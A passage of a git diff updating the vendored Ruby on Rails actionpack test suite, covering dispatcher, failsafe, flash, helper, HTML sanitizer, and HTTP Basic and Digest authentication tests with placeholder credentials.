-    assert_equal 'myname=myvalue; domain=mydomain; path=mypath; expires=Sat, 20 Oct 2007 00:00:00 GMT; secure; HttpOnly', cookie_str
-  end
-
-  def test_cookie_to_s_hash_default_not_secure_not_http_only
-    cookie_str = CGI::Cookie.new(
-      'name' => 'myname',
-      'value' => 'myvalue',
-      'domain' => 'mydomain',
-      'path' => 'mypath',
-      'expires' => Time.utc(2007, 10, 20))
-    assert cookie_str !~ /secure/
-    assert cookie_str !~ /HttpOnly/
-  end
-
-  def test_cookies_should_not_be_split_on_ampersand_values
-    cookies = CGI::Cookie.parse('return_to=http://rubyonrails.org/search?term=api&scope=all&global=true')
-    assert_equal({"return_to" => ["http://rubyonrails.org/search?term=api&scope=all&global=true"]}, cookies)
-  end
-
-  def test_cookies_should_not_be_split_on_values_with_newlines
-    cookies = CGI::Cookie.new("name" => "val", "value" => "this\nis\na\ntest")
-    assert cookies.size == 1
+  def test_cookies_persist_throughout_request
+    get :authenticate
+    cookies = @controller.send(:cookies)
+    assert_equal 'david', cookies['user_name']
   end
 end
diff --git a/vendor/rails/actionpack/test/controller/deprecation/deprecated_base_methods_test.rb b/vendor/rails/actionpack/test/controller/deprecation/deprecated_base_methods_test.rb
index 86555a77..dd69a630 100644
--- a/vendor/rails/actionpack/test/controller/deprecation/deprecated_base_methods_test.rb
+++ b/vendor/rails/actionpack/test/controller/deprecation/deprecated_base_methods_test.rb
@@ -1,6 +1,6 @@
 require 'abstract_unit'
 
-class DeprecatedBaseMethodsTest < Test::Unit::TestCase
+class DeprecatedBaseMethodsTest < ActionController::TestCase
   class Target < ActionController::Base
     def home_url(greeting)
       "http://example.com/#{greeting}"
@@ -13,11 +13,7 @@ class DeprecatedBaseMethodsTest < Test::Unit::TestCase
     def rescue_action(e) raise e end
   end
 
-  def setup
-    @request    = ActionController::TestRequest.new
-    @response   = ActionController::TestResponse.new
-    @controller = Target.new
-  end
+  tests Target
 
   def test_log_error_silences_deprecation_warnings
     get :raises_name_error
@@ -25,10 +21,12 @@ class DeprecatedBaseMethodsTest < Test::Unit::TestCase
     assert_not_deprecated { @controller.send :log_error, e }
   end
 
-  def test_assertion_failed_error_silences_deprecation_warnings
-    get :raises_name_error
-  rescue => e
-    error = Test::Unit::Error.new('testing ur doodz', e)
-    assert_not_deprecated { error.message }
+  if defined? Test::Unit::Error
+    def test_assertion_failed_error_silences_deprecation_warnings
+      get :raises_name_error
+    rescue => e
+      error = Test::Unit::Error.new('testing ur doodz', e)
+      assert_not_deprecated { error.message }
+    end
   end
 end
diff --git a/vendor/rails/actionpack/test/controller/dispatcher_test.rb b/vendor/rails/actionpack/test/controller/dispatcher_test.rb
index 3ee78a61..61e70070 100644
--- a/vendor/rails/actionpack/test/controller/dispatcher_test.rb
+++ b/vendor/rails/actionpack/test/controller/dispatcher_test.rb
@@ -1,43 +1,29 @@
 require 'abstract_unit'
 
-uses_mocha 'dispatcher tests' do
-
-require 'action_controller/dispatcher'
-
 class DispatcherTest < Test::Unit::TestCase
   Dispatcher = ActionController::Dispatcher
+  Reloader   = ActionController::Reloader
 
   def setup
-    @output = StringIO.new
     ENV['REQUEST_METHOD'] = 'GET'
-
-    # Clear callbacks as they are redefined by Dispatcher#define_dispatcher_callbacks
-    Dispatcher.instance_variable_set("@prepare_dispatch_callbacks", ActiveSupport::Callbacks::CallbackChain.new)
-    Dispatcher.instance_variable_set("@before_dispatch_callbacks", ActiveSupport::Callbacks::CallbackChain.new)
-    Dispatcher.instance_variable_set("@after_dispatch_callbacks", ActiveSupport::Callbacks::CallbackChain.new)
-
+    reset_dispatcher
     Dispatcher.stubs(:require_dependency)
-
-    @dispatcher = Dispatcher.new(@output)
   end
 
   def teardown
     ENV.delete 'REQUEST_METHOD'
+    reset_dispatcher
   end
 
   def test_clears_dependencies_after_dispatch_if_in_loading_mode
     ActiveSupport::Dependencies.expects(:clear).once
-    dispatch(@output, false)
+    # Close the response so dependencies kicks in
+    dispatch(false).last.close
   end
 
   def test_reloads_routes_before_dispatch_if_in_loading_mode
     ActionController::Routing::Routes.expects(:reload).once
-    dispatch(@output, false)
-  end
-
-  def test_clears_asset_tag_cache_before_dispatch_if_in_loading_mode
-    ActionView::Helpers::AssetTagHelper::AssetTag::Cache.expects(:clear).once
-    dispatch(@output, false)
+    dispatch(false)
   end
 
   def test_leaves_dependencies_after_dispatch_if_not_in_loading_mode
@@ -47,18 +33,51 @@ class DispatcherTest < Test::Unit::TestCase
     dispatch
   end
 
+  def test_builds_middleware_stack_only_during_initialization_if_not_in_loading_mode
+    dispatcher = create_dispatcher
+    assert_not_nil dispatcher.instance_variable_get(:"@app")
+    dispatcher.instance_variable_set(:"@app", lambda { |env| })
+    dispatcher.expects(:build_middleware_stack).never
+    dispatcher.call(nil)
+    dispatcher.call(nil)
+  end
+
+  def test_rebuilds_middleware_stack_on_every_request_if_in_loading_mode
+    dispatcher = create_dispatcher(false)
+    dispatcher.instance_variable_set(:"@app", lambda { |env| })
+    dispatcher.expects(:build_middleware_stack).twice
+    dispatcher.call(nil)
+    Reloader.default_lock.unlock
+    dispatcher.call(nil)
+  end
+
+  def test_doesnt_wrap_call_in_reloader_if_not_in_loading_mode
+    Reloader.expects(:run).never
+    dispatch
+  end
+
+  def test_wraps_call_in_reloader_if_in_loading_mode
+    Reloader.expects(:run).once
+    dispatch(false)
+  end
+
   # Stub out dispatch error logger
   class << Dispatcher
     def log_failsafe_exception(status, exception); end
   end
 
   def test_failsafe_response
-    CGI.expects(:new).raises('some multipart parsing failure')
-    Dispatcher.expects(:log_failsafe_exception)
+    Dispatcher.any_instance.expects(:dispatch).raises('b00m')
+    ActionController::Failsafe.any_instance.expects(:log_failsafe_exception)
 
-    assert_nothing_raised { dispatch }
-
-    assert_equal "Status: 400 Bad Request\r\nContent-Type: text/html\r\n\r\n<html><body><h1>400 Bad Request</h1></body></html>", @output.string
+    response = nil
+    assert_nothing_raised do
+      response = dispatch
+    end
+    assert_equal 3, response.size
+    assert_equal 500, response[0]
+    assert_equal({"Content-Type" => "text/html"}, response[1])
+    assert_match /500 Internal Server Error/, response[2].join
   end
 
   def test_prepare_callbacks
@@ -71,7 +90,7 @@ class DispatcherTest < Test::Unit::TestCase
     assert_nil a || b || c
 
     # Run callbacks
-    @dispatcher.send :run_callbacks, :prepare_dispatch
+    Dispatcher.run_prepare_callbacks
 
     assert_equal 1, a
     assert_equal 2, b
@@ -79,7 +98,7 @@ class DispatcherTest < Test::Unit::TestCase
 
     # Make sure they are only run once
     a = b = c = nil
-    @dispatcher.send :dispatch
+    dispatch
     assert_nil a || b || c
   end
 
@@ -88,26 +107,38 @@ class DispatcherTest < Test::Unit::TestCase
     Dispatcher.to_prepare(:unique_id) { |*args| a = b = 1 }
     Dispatcher.to_prepare(:unique_id) { |*args| a = 2 }
 
-    @dispatcher.send :run_callbacks, :prepare_dispatch
+    Dispatcher.run_prepare_callbacks
     assert_equal 2, a
     assert_equal nil, b
   end
 
   private
-    def dispatch(output = @output, cache_classes = true)
-      controller = mock
-      controller.stubs(:process).returns(controller)
-      controller.stubs(:out).with(output).returns('response')
-
-      ActionController::Routing::Routes.stubs(:recognize).returns(controller)
-
+    def dispatch(cache_classes = true)
+      ActionController::Routing::RouteSet.any_instance.stubs(:call).returns([200, {}, 'response'])
       Dispatcher.define_dispatcher_callbacks(cache_classes)
-      Dispatcher.dispatch(nil, {}, output)
+      Dispatcher.new.call({'rack.input' => StringIO.new('')})
+    end
+
+    def create_dispatcher(cache_classes = true)
+      Dispatcher.define_dispatcher_callbacks(cache_classes)
+      Dispatcher.new
+    end
+
+    def reset_dispatcher
+      Dispatcher.middleware = ActionController::MiddlewareStack.new do |middleware|
+        middlewares = File.expand_path(File.join(File.dirname(__FILE__), "../../lib/action_controller/middlewares.rb"))
+        middleware.instance_eval(File.read(middlewares))
+      end
+
+      # Clear callbacks as they are redefined by Dispatcher#define_dispatcher_callbacks
+      Dispatcher.instance_variable_set("@prepare_dispatch_callbacks", ActiveSupport::Callbacks::CallbackChain.new)
+      Dispatcher.instance_variable_set("@before_dispatch_callbacks", ActiveSupport::Callbacks::CallbackChain.new)
+      Dispatcher.instance_variable_set("@after_dispatch_callbacks", ActiveSupport::Callbacks::CallbackChain.new)
+
+      Dispatcher.define_dispatcher_callbacks(true)
     end
 
     def assert_subclasses(howmany, klass, message = klass.subclasses.inspect)
       assert_equal howmany, klass.subclasses.size, message
     end
 end
-
-end
diff --git a/vendor/rails/actionpack/test/controller/dom_assertions_test.rb b/vendor/rails/actionpack/test/controller/dom_assertions_test.rb
new file mode 100644
index 00000000..deddc442
--- /dev/null
+++ b/vendor/rails/actionpack/test/controller/dom_assertions_test.rb
@@ -0,0 +1,53 @@
+require 'abstract_unit'
+
+class DomAssertionsTest < ActionView::TestCase
+  def setup
+    super
+    @html_only = '<ul><li>foo</li><li>bar</li></ul>'
+    @html_with_meaningless_whitespace = %{
+      <ul>
+        <li>\tfoo  </li>
+        <li>
+        bar
+        </li>
+      </ul>
+    }
+    @more_html_with_meaningless_whitespace = %{<ul>
+      
+      <li>foo</li>
+
+<li>bar</li></ul>}
+  end
+  
+  test "assert_dom_equal strips meaningless whitespace from expected string" do
+    assert_dom_equal @html_with_meaningless_whitespace, @html_only
+  end
+
+  test "assert_dom_equal strips meaningless whitespace from actual string" do
+    assert_dom_equal @html_only, @html_with_meaningless_whitespace
+  end
+  
+  test "assert_dom_equal strips meaningless whitespace from both expected and actual strings" do
+    assert_dom_equal @more_html_with_meaningless_whitespace, @html_with_meaningless_whitespace
+  end
+  
+  test "assert_dom_not_equal strips meaningless whitespace from expected string" do
+    assert_assertion_fails { assert_dom_not_equal @html_with_meaningless_whitespace, @html_only }
+  end
+  
+  test "assert_dom_not_equal strips meaningless whitespace from actual string" do
+    assert_assertion_fails { assert_dom_not_equal @html_only, @html_with_meaningless_whitespace }
+  end
+  
+  test "assert_dom_not_equal strips meaningless whitespace from both expected and actual strings" do
+    assert_assertion_fails do
+      assert_dom_not_equal @more_html_with_meaningless_whitespace, @html_with_meaningless_whitespace
+    end
+  end
+  
+  private
+  
+  def assert_assertion_fails
+    assert_raise(ActiveSupport::TestCase::Assertion) { yield }
+  end
+end
diff --git a/vendor/rails/actionpack/test/controller/failsafe_test.rb b/vendor/rails/actionpack/test/controller/failsafe_test.rb
new file mode 100644
index 00000000..9008f645
--- /dev/null
+++ b/vendor/rails/actionpack/test/controller/failsafe_test.rb
@@ -0,0 +1,60 @@
+require 'abstract_unit'
+require 'stringio'
+require 'logger'
+
+class FailsafeTest < ActionController::TestCase
+  FIXTURE_PUBLIC = "#{File.dirname(__FILE__)}/../fixtures/failsafe".freeze
+  
+  def setup
+    @old_error_file_path = ActionController::Failsafe.error_file_path
+    ActionController::Failsafe.error_file_path = FIXTURE_PUBLIC
+    @app = mock
+    @log_io = StringIO.new
+    @logger = Logger.new(@log_io)
+    @failsafe = ActionController::Failsafe.new(@app)
+    @failsafe.stubs(:failsafe_logger).returns(@logger)
+  end
+  
+  def teardown
+    ActionController::Failsafe.error_file_path = @old_error_file_path
+  end
+  
+  def app_will_raise_error!
+    @app.expects(:call).then.raises(RuntimeError.new("Printer on fire"))
+  end
+  
+  def test_calls_app_and_returns_its_return_value
+    @app.expects(:call).returns([200, { "Content-Type" => "text/html" }, "ok"])
+    assert_equal [200, { "Content-Type" => "text/html" }, "ok"], @failsafe.call({})
+  end
+  
+  def test_writes_to_log_file_on_exception
+    app_will_raise_error!
+    @failsafe.call({})
+    assert_match /Printer on fire/, @log_io.string     # Logs exception message.
+    assert_match /failsafe_test\.rb/, @log_io.string   # Logs backtrace.
+  end
+  
+  def test_returns_500_internal_server_error_on_exception
+    app_will_raise_error!
+    response = @failsafe.call({})
+    assert_equal 3, response.size    # It is a valid Rack response.
+    assert_equal 500, response[0]    # Status is 500.
+  end
+  
+  def test_renders_error_page_file_with_erb
+    app_will_raise_error!
+    response = @failsafe.call({})
+    assert_equal 500, response[0]
+    assert_equal "hello my world", response[2].join
+  end
+  
+  def test_returns_a_default_message_if_erb_rendering_failed
+    app_will_raise_error!
+    @failsafe.expects(:render_template).raises(RuntimeError.new("Harddisk is crashing"))
+    response = @failsafe.call({})
+    assert_equal 500, response[0]
+    assert_match /500 Internal Server Error/, response[2].join
+    assert_match %r(please read this web application's log file), response[2].join
+  end
+end
diff --git a/vendor/rails/actionpack/test/controller/fake_models.rb b/vendor/rails/actionpack/test/controller/fake_models.rb
index 7420579e..0b30c79b 100644
--- a/vendor/rails/actionpack/test/controller/fake_models.rb
+++ b/vendor/rails/actionpack/test/controller/fake_models.rb
@@ -9,3 +9,11 @@ end
 
 class GoodCustomer < Customer
 end
+
+module Quiz
+  class Question < Struct.new(:name, :id)
+    def to_param
+      id.to_s
+    end
+  end
+end
diff --git a/vendor/rails/actionpack/test/controller/filter_params_test.rb b/vendor/rails/actionpack/test/controller/filter_params_test.rb
index 0b259a79..670edc15 100644
--- a/vendor/rails/actionpack/test/controller/filter_params_test.rb
+++ b/vendor/rails/actionpack/test/controller/filter_params_test.rb
@@ -18,12 +18,15 @@ class FilterParamTest < Test::Unit::TestCase
     test_hashes = [[{},{},[]],
     [{'foo'=>nil},{'foo'=>nil},[]],
     [{'foo'=>'bar'},{'foo'=>'bar'},[]],
+    [{'foo'=>1},{'foo'=>1},[]],
     [{'foo'=>'bar'},{'foo'=>'bar'},%w'food'],
     [{'foo'=>'bar'},{'foo'=>'[FILTERED]'},%w'foo'],
     [{'foo'=>'bar', 'bar'=>'foo'},{'foo'=>'[FILTERED]', 'bar'=>'foo'},%w'foo baz'],
     [{'foo'=>'bar', 'baz'=>'foo'},{'foo'=>'[FILTERED]', 'baz'=>'[FILTERED]'},%w'foo baz'],
     [{'bar'=>{'foo'=>'bar','bar'=>'foo'}},{'bar'=>{'foo'=>'[FILTERED]','bar'=>'foo'}},%w'fo'],
-    [{'foo'=>{'foo'=>'bar','bar'=>'foo'}},{'foo'=>'[FILTERED]'},%w'f banana']]
+    [{'foo'=>{'foo'=>'bar','bar'=>'foo'}},{'foo'=>'[FILTERED]'},%w'f banana'],
+    [{'baz'=>[{'foo'=>'baz'}]}, {'baz'=>[{'foo'=>'[FILTERED]'}]}, %w(foo)],
+    [{'baz'=>[{'foo'=>'baz'}, 1, 2, 3]}, {'baz'=>[{'foo'=>'[FILTERED]'}, 1, 2, 3]}, %w(foo)]]
 
     test_hashes.each do |before_filter, after_filter, filter_words|
       FilterParamController.filter_parameter_logging(*filter_words)
diff --git a/vendor/rails/actionpack/test/controller/filters_test.rb b/vendor/rails/actionpack/test/controller/filters_test.rb
index dafa3444..e83fde23 100644
--- a/vendor/rails/actionpack/test/controller/filters_test.rb
+++ b/vendor/rails/actionpack/test/controller/filters_test.rb
@@ -634,9 +634,11 @@ class FilterTest < Test::Unit::TestCase
 
   private
     def test_process(controller, action = "show")
+      ActionController::Base.class_eval { include ActionController::ProcessWithTest } unless ActionController::Base < ActionController::ProcessWithTest
       request = ActionController::TestRequest.new
       request.action = action
-      controller.process(request, ActionController::TestResponse.new)
+      controller = controller.new if controller.is_a?(Class)
+      controller.process_with_test(request, ActionController::TestResponse.new)
     end
 end
 
@@ -874,8 +876,10 @@ class YieldingAroundFiltersTest < Test::Unit::TestCase
 
   protected
     def test_process(controller, action = "show")
+      ActionController::Base.class_eval { include ActionController::ProcessWithTest } unless ActionController::Base < ActionController::ProcessWithTest
       request = ActionController::TestRequest.new
       request.action = action
-      controller.process(request, ActionController::TestResponse.new)
+      controller = controller.new if controller.is_a?(Class)
+      controller.process_with_test(request, ActionController::TestResponse.new)
     end
 end
diff --git a/vendor/rails/actionpack/test/controller/flash_test.rb b/vendor/rails/actionpack/test/controller/flash_test.rb
index e562531b..81c724a5 100644
--- a/vendor/rails/actionpack/test/controller/flash_test.rb
+++ b/vendor/rails/actionpack/test/controller/flash_test.rb
@@ -1,6 +1,6 @@
 require 'abstract_unit'
 
-class FlashTest < Test::Unit::TestCase
+class FlashTest < ActionController::TestCase
   class TestController < ActionController::Base
     def set_flash
       flash["that"] = "hello"
@@ -73,11 +73,7 @@ class FlashTest < Test::Unit::TestCase
     end
   end
 
-  def setup
-    @request    = ActionController::TestRequest.new
-    @response   = ActionController::TestResponse.new
-    @controller = TestController.new
-  end
+  tests TestController
 
   def test_flash
     get :set_flash
@@ -125,7 +121,7 @@ class FlashTest < Test::Unit::TestCase
     assert_nil                  @response.template.assigns["flash_copy"]["that"], "On second flash"
     assert_equal "hello again", @response.template.assigns["flash_copy"]["this"], "On second flash"
   end
-  
+
   def test_flash_after_reset_session
     get :use_flash_after_reset_session
     assert_equal "hello",    @response.template.assigns["flashy_that"]
@@ -143,4 +139,9 @@ class FlashTest < Test::Unit::TestCase
     get :std_action
     assert_nil @response.template.assigns["flash_copy"]["foo"]
   end
+
+  def test_does_not_set_the_session_if_the_flash_is_empty
+    get :std_action
+    assert_nil session["flash"]
+  end
 end
diff --git a/vendor/rails/actionpack/test/controller/helper_test.rb b/vendor/rails/actionpack/test/controller/helper_test.rb
index 83e3b085..5f36461b 100644
--- a/vendor/rails/actionpack/test/controller/helper_test.rb
+++ b/vendor/rails/actionpack/test/controller/helper_test.rb
@@ -1,6 +1,6 @@
 require 'abstract_unit'
 
-ActionController::Helpers::HELPERS_DIR.replace File.dirname(__FILE__) + '/../fixtures/helpers'
+ActionController::Base.helpers_dir = File.dirname(__FILE__) + '/../fixtures/helpers'
 
 class TestController < ActionController::Base
   attr_accessor :delegate_attr
@@ -130,6 +130,20 @@ class HelperTest < Test::Unit::TestCase
     assert methods.include?('foobar')
   end
 
+  def test_all_helpers_with_alternate_helper_dir
+    @controller_class.helpers_dir = File.dirname(__FILE__) + '/../fixtures/alternate_helpers'
+
+    # Reload helpers
+    @controller_class.master_helper_module = Module.new
+    @controller_class.helper :all
+
+    # helpers/abc_helper.rb should not be included
+    assert !master_helper_methods.include?('bare_a')
+
+    # alternate_helpers/foo_helper.rb
+    assert master_helper_methods.include?('baz')
+  end
+
   def test_helper_proxy
     methods = ApplicationController.helpers.methods.map(&:to_s)
 
diff --git a/vendor/rails/actionpack/test/controller/html-scanner/document_test.rb b/vendor/rails/actionpack/test/controller/html-scanner/document_test.rb
index 1c3facb9..c68f04fa 100644
--- a/vendor/rails/actionpack/test/controller/html-scanner/document_test.rb
+++ b/vendor/rails/actionpack/test/controller/html-scanner/document_test.rb
@@ -134,7 +134,7 @@ HTML
   end
 
   def test_invalid_document_raises_exception_when_strict
-    assert_raises RuntimeError do
+    assert_raise RuntimeError do
       doc = HTML::Document.new("<html>
         <table>
           <tr>
diff --git a/vendor/rails/actionpack/test/controller/html-scanner/sanitizer_test.rb b/vendor/rails/actionpack/test/controller/html-scanner/sanitizer_test.rb
index bae0f5c9..19235448 100644
--- a/vendor/rails/actionpack/test/controller/html-scanner/sanitizer_test.rb
+++ b/vendor/rails/actionpack/test/controller/html-scanner/sanitizer_test.rb
@@ -1,6 +1,6 @@
 require 'abstract_unit'
 
-class SanitizerTest < Test::Unit::TestCase
+class SanitizerTest < ActionController::TestCase
   def setup
     @sanitizer = nil # used by assert_sanitizer
   end
@@ -19,6 +19,7 @@ class SanitizerTest < Test::Unit::TestCase
     assert_equal "This has a  here.", sanitizer.sanitize("This has a <!-- comment --> here.")
     assert_equal "This has a  here.", sanitizer.sanitize("This has a <![CDATA[<section>]]> here.")
     assert_equal "This has an unclosed ", sanitizer.sanitize("This has an unclosed <![CDATA[<section>]] here...")
+    assert_equal "non printable char is a tag", sanitizer.sanitize("<\x07a href='/hello'>non printable char is a tag</a>")
     [nil, '', '   '].each { |blank| assert_equal blank, sanitizer.sanitize(blank) }
   end
 
diff --git a/vendor/rails/actionpack/test/controller/http_authentication_test.rb b/vendor/rails/actionpack/test/controller/http_authentication_test.rb
deleted file mode 100644
index c0069e80..00000000
--- a/vendor/rails/actionpack/test/controller/http_authentication_test.rb
+++ /dev/null
@@ -1,54 +0,0 @@
-require 'abstract_unit'
-
-class HttpBasicAuthenticationTest < Test::Unit::TestCase
-  include ActionController::HttpAuthentication::Basic
-  
-  class DummyController
-    attr_accessor :headers, :renders, :request
-    
-    def initialize
-      @headers, @renders = {}, []
-      @request = ActionController::TestRequest.new
-    end
-    
-    def render(options)
-      self.renders << options
-    end
-  end
-
-  def setup
-    @controller  = DummyController.new
-    @credentials = ActionController::HttpAuthentication::Basic.encode_credentials("dhh", "secret")
-  end
-
-  def test_successful_authentication
-    login = Proc.new { |user_name, password| user_name == "dhh" && password == "secret" }
-    set_headers
-    assert authenticate(@controller, &login)
-
-    set_headers ''
-    assert_nothing_raised do
-      assert !authenticate(@controller, &login)
-    end
-
-    set_headers nil
-    set_headers @credentials, 'REDIRECT_X_HTTP_AUTHORIZATION'
-    assert authenticate(@controller, &login)
-  end
-
-  def test_failing_authentication
-    set_headers
-    assert !authenticate(@controller) { |user_name, password| user_name == "dhh" && password == "incorrect" }
-  end
-  
-  def test_authentication_request
-    authentication_request(@controller, "Megaglobalapp")
-    assert_equal 'Basic realm="Megaglobalapp"', @controller.headers["WWW-Authenticate"]
-    assert_equal :unauthorized, @controller.renders.first[:status]
-  end
-
-  private
-    def set_headers(value = @credentials, name = 'HTTP_AUTHORIZATION')
-      @controller.request.env[name] = value
-    end
-end
diff --git a/vendor/rails/actionpack/test/controller/http_basic_authentication_test.rb b/vendor/rails/actionpack/test/controller/http_basic_authentication_test.rb
new file mode 100644
index 00000000..23688ca5
--- /dev/null
+++ b/vendor/rails/actionpack/test/controller/http_basic_authentication_test.rb
@@ -0,0 +1,113 @@
+require 'abstract_unit'
+
+class HttpBasicAuthenticationTest < ActionController::TestCase
+  class DummyController < ActionController::Base
+    before_filter :authenticate, :only => :index
+    before_filter :authenticate_with_request, :only => :display
+    before_filter :authenticate_long_credentials, :only => :show
+
+    def index
+      render :text => "Hello Secret"
+    end
+
+    def display
+      render :text => 'Definitely Maybe'
+    end
+    
+    def show
+      render :text => 'Only for loooooong credentials'
+    end
+
+    private
+
+    def authenticate
+      authenticate_or_request_with_http_basic do |username, password|
+        username == 'lifo' && password == 'world'
+      end
+    end
+
+    def authenticate_with_request
+      if authenticate_with_http_basic { |username, password| username == 'pretty' && password == 'please' }
+        @logged_in = true
+      else
+        request_http_basic_authentication("SuperSecret")
+      end
+    end
+    
+    def authenticate_long_credentials
+      authenticate_or_request_with_http_basic do |username, password|
+        username == '1234567890123456789012345678901234567890' && password == '1234567890123456789012345678901234567890'
+      end
+    end
+  end
+
+  AUTH_HEADERS = ['HTTP_AUTHORIZATION', 'X-HTTP_AUTHORIZATION', 'X_HTTP_AUTHORIZATION', 'REDIRECT_X_HTTP_AUTHORIZATION']
+
+  tests DummyController
+
+  AUTH_HEADERS.each do |header|
+    test "successful authentication with #{header.downcase}" do
+      @request.env[header] = encode_credentials('lifo', 'world')
+      get :index
+
+      assert_response :success
+      assert_equal 'Hello Secret', @response.body, "Authentication failed for request header #{header}"
+    end
+    test "successful authentication with #{header.downcase} and long credentials" do
+      @request.env[header] = encode_credentials('1234567890123456789012345678901234567890', '1234567890123456789012345678901234567890')
+      get :show
+      
+      assert_response :success
+      assert_equal 'Only for loooooong credentials', @response.body, "Authentication failed for request header #{header} and long credentials"
+    end
+  end
+
+  AUTH_HEADERS.each do |header|
+    test "unsuccessful authentication with #{header.downcase}" do
+      @request.env[header] = encode_credentials('h4x0r', 'world')
+      get :index
+
+      assert_response :unauthorized
+      assert_equal "HTTP Basic: Access denied.\n", @response.body, "Authentication didn't fail for request header #{header}"
+    end
+    test "unsuccessful authentication with #{header.downcase} and long credentials" do
+      @request.env[header] = encode_credentials('h4x0rh4x0rh4x0rh4x0rh4x0rh4x0rh4x0rh4x0r', 'worldworldworldworldworldworldworldworld')
+      get :show
+
+      assert_response :unauthorized
+      assert_equal "HTTP Basic: Access denied.\n", @response.body, "Authentication didn't fail for request header #{header} and long credentials"
+    end
+  end
+
+  test "authentication request without credential" do
+    get :display
+
+    assert_response :unauthorized
+    assert_equal "HTTP Basic: Access denied.\n", @response.body
+    assert_equal 'Basic realm="SuperSecret"', @response.headers['WWW-Authenticate']
+  end
+
+  test "authentication request with invalid credential" do
+    @request.env['HTTP_AUTHORIZATION'] = encode_credentials('pretty', 'foo')
+    get :display
+
+    assert_response :unauthorized
+    assert_equal "HTTP Basic: Access denied.\n", @response.body
+    assert_equal 'Basic realm="SuperSecret"', @response.headers['WWW-Authenticate']
+  end
+
+  test "authentication request with valid credential" do
+    @request.env['HTTP_AUTHORIZATION'] = encode_credentials('pretty', 'please')
+    get :display
+
+    assert_response :success
+    assert assigns(:logged_in)
+    assert_equal 'Definitely Maybe', @response.body
+  end
+
+  private
+
+  def encode_credentials(username, password)
+    "Basic #{ActiveSupport::Base64.encode64("#{username}:#{password}")}"
+  end
+end
diff --git a/vendor/rails/actionpack/test/controller/http_digest_authentication_test.rb b/vendor/rails/actionpack/test/controller/http_digest_authentication_test.rb
new file mode 100644
index 00000000..9f2750fd
--- /dev/null
+++ b/vendor/rails/actionpack/test/controller/http_digest_authentication_test.rb
@@ -0,0 +1,254 @@
+require 'abstract_unit'
+
+class HttpDigestAuthenticationTest < ActionController::TestCase
+  class DummyDigestController < ActionController::Base
+    before_filter :authenticate, :only => :index
+    before_filter :authenticate_with_request, :only => :display
+
+    USERS = { 'lifo' => 'world', 'pretty' => 'please',
+              'dhh' => ::Digest::MD5::hexdigest(["dhh","SuperSecret","secret"].join(":"))}
+
+    def index
+      render :text => "Hello Secret"
+    end
+
+    def display
+      render :text => 'Definitely Maybe'
+    end
+
+    private
+
+    def authenticate
+      authenticate_or_request_with_http_digest("SuperSecret") do |username|
+        # Return the password
+        USERS[username]
+      end
+    end
+
+    def authenticate_with_request
+      if authenticate_with_http_digest("SuperSecret")  { |username| USERS[username] }
+        @logged_in = true
+      else
+        request_http_digest_authentication("SuperSecret", "Authentication Failed")
+      end
+    end
+  end
+
+  AUTH_HEADERS = ['HTTP_AUTHORIZATION', 'X-HTTP_AUTHORIZATION', 'X_HTTP_AUTHORIZATION', 'REDIRECT_X_HTTP_AUTHORIZATION']
+
+  tests DummyDigestController
+
+  AUTH_HEADERS.each do |header|
+    test "successful authentication with #{header.downcase}" do
+      @request.env[header] = encode_credentials(:username => 'lifo', :password => 'world')
+      get :index
+
+      assert_response :success
+      assert_equal 'Hello Secret', @response.body, "Authentication failed for request header #{header}"
+    end
+  end
+
+  AUTH_HEADERS.each do |header|
+    test "unsuccessful authentication with #{header.downcase}" do
+      @request.env[header] = encode_credentials(:username => 'h4x0r', :password => 'world')
+      get :index
+
+      assert_response :unauthorized
+      assert_equal "HTTP Digest: Access denied.\n", @response.body, "Authentication didn't fail for request header #{header}"
+    end
+  end
+
+  test "authentication request without credential" do
+    get :display
+
+    assert_response :unauthorized
+    assert_equal "Authentication Failed", @response.body
+    credentials = decode_credentials(@response.headers['WWW-Authenticate'])
+    assert_equal 'SuperSecret', credentials[:realm]
+  end
+
+  test "authentication request with nil credentials" do
+    @request.env['HTTP_AUTHORIZATION'] = encode_credentials(:username => nil, :password => nil)
+    get :index
+
+    assert_response :unauthorized
+    assert_equal "HTTP Digest: Access denied.\n", @response.body, "Authentication didn't fail for request"
+    assert_not_equal 'Hello Secret', @response.body, "Authentication didn't fail for request"
+  end
+
+  test "authentication request with invalid password" do
+    @request.env['HTTP_AUTHORIZATION'] = encode_credentials(:username => 'pretty', :password => 'foo')
+    get :display
+
+    assert_response :unauthorized
+    assert_equal "Authentication Failed", @response.body
+  end
+
+  test "authentication request with invalid nonce" do
+    @request.env['HTTP_AUTHORIZATION'] = encode_credentials(:username => 'pretty', :password => 'please', :nonce => "xxyyzz")
+    get :display
+
+    assert_response :unauthorized
+    assert_equal "Authentication Failed", @response.body
+  end
+
+  test "authentication request with missing nonce should return 401" do
+    @request.env['HTTP_AUTHORIZATION'] = encode_credentials(:username => 'pretty', :password => 'please', :remove_nonce => true)
+    get :display
+
+    assert_response :unauthorized
+    assert_equal "Authentication Failed", @response.body
+  end
+
+  test "authentication request with Basic auth credentials should return 401" do
+    ActionController::Base.session_options[:secret] = "session_options_secret"
+    @request.env['HTTP_AUTHORIZATION'] = ActionController::HttpAuthentication::Basic.encode_credentials('pretty', 'please')
+    get :display
+
+    assert_response :unauthorized
+    assert_equal "Authentication Failed", @response.body
+  end
+
+  test "authentication request with invalid opaque" do
+    @request.env['HTTP_AUTHORIZATION'] = encode_credentials(:username => 'pretty', :password => 'foo', :opaque => "xxyyzz")
+    get :display
+
+    assert_response :unauthorized
+    assert_equal "Authentication Failed", @response.body
+  end
+
+  test "authentication request with invalid realm" do
+    @request.env['HTTP_AUTHORIZATION'] = encode_credentials(:username => 'pretty', :password => 'foo', :realm => "NotSecret")
+    get :display
+
+    assert_response :unauthorized
+    assert_equal "Authentication Failed", @response.body
+  end
+
+  test "authentication request with valid credential" do
+    @request.env['HTTP_AUTHORIZATION'] = encode_credentials(:username => 'pretty', :password => 'please')
+    get :display
+
+    assert_response :success
+    assert assigns(:logged_in)
+    assert_equal 'Definitely Maybe', @response.body
+  end
+
+  test "authentication request with valid credential and nil session" do
+    @request.env['HTTP_AUTHORIZATION'] = encode_credentials(:username => 'pretty', :password => 'please')
+
+    # session_id = "" in functional test, but is +nil+ in real life
+    @request.session.session_id = nil
+    get :display
+
+    assert_response :success
+    assert assigns(:logged_in)
+    assert_equal 'Definitely Maybe', @response.body
+  end
+
+  test "authentication request with request-uri that doesn't match credentials digest-uri" do
+    @request.env['HTTP_AUTHORIZATION'] = encode_credentials(:username => 'pretty', :password => 'please')
+    @request.env['REQUEST_URI'] = "/http_digest_authentication_test/dummy_digest/altered/uri"
+    get :display
+
+    assert_response :unauthorized
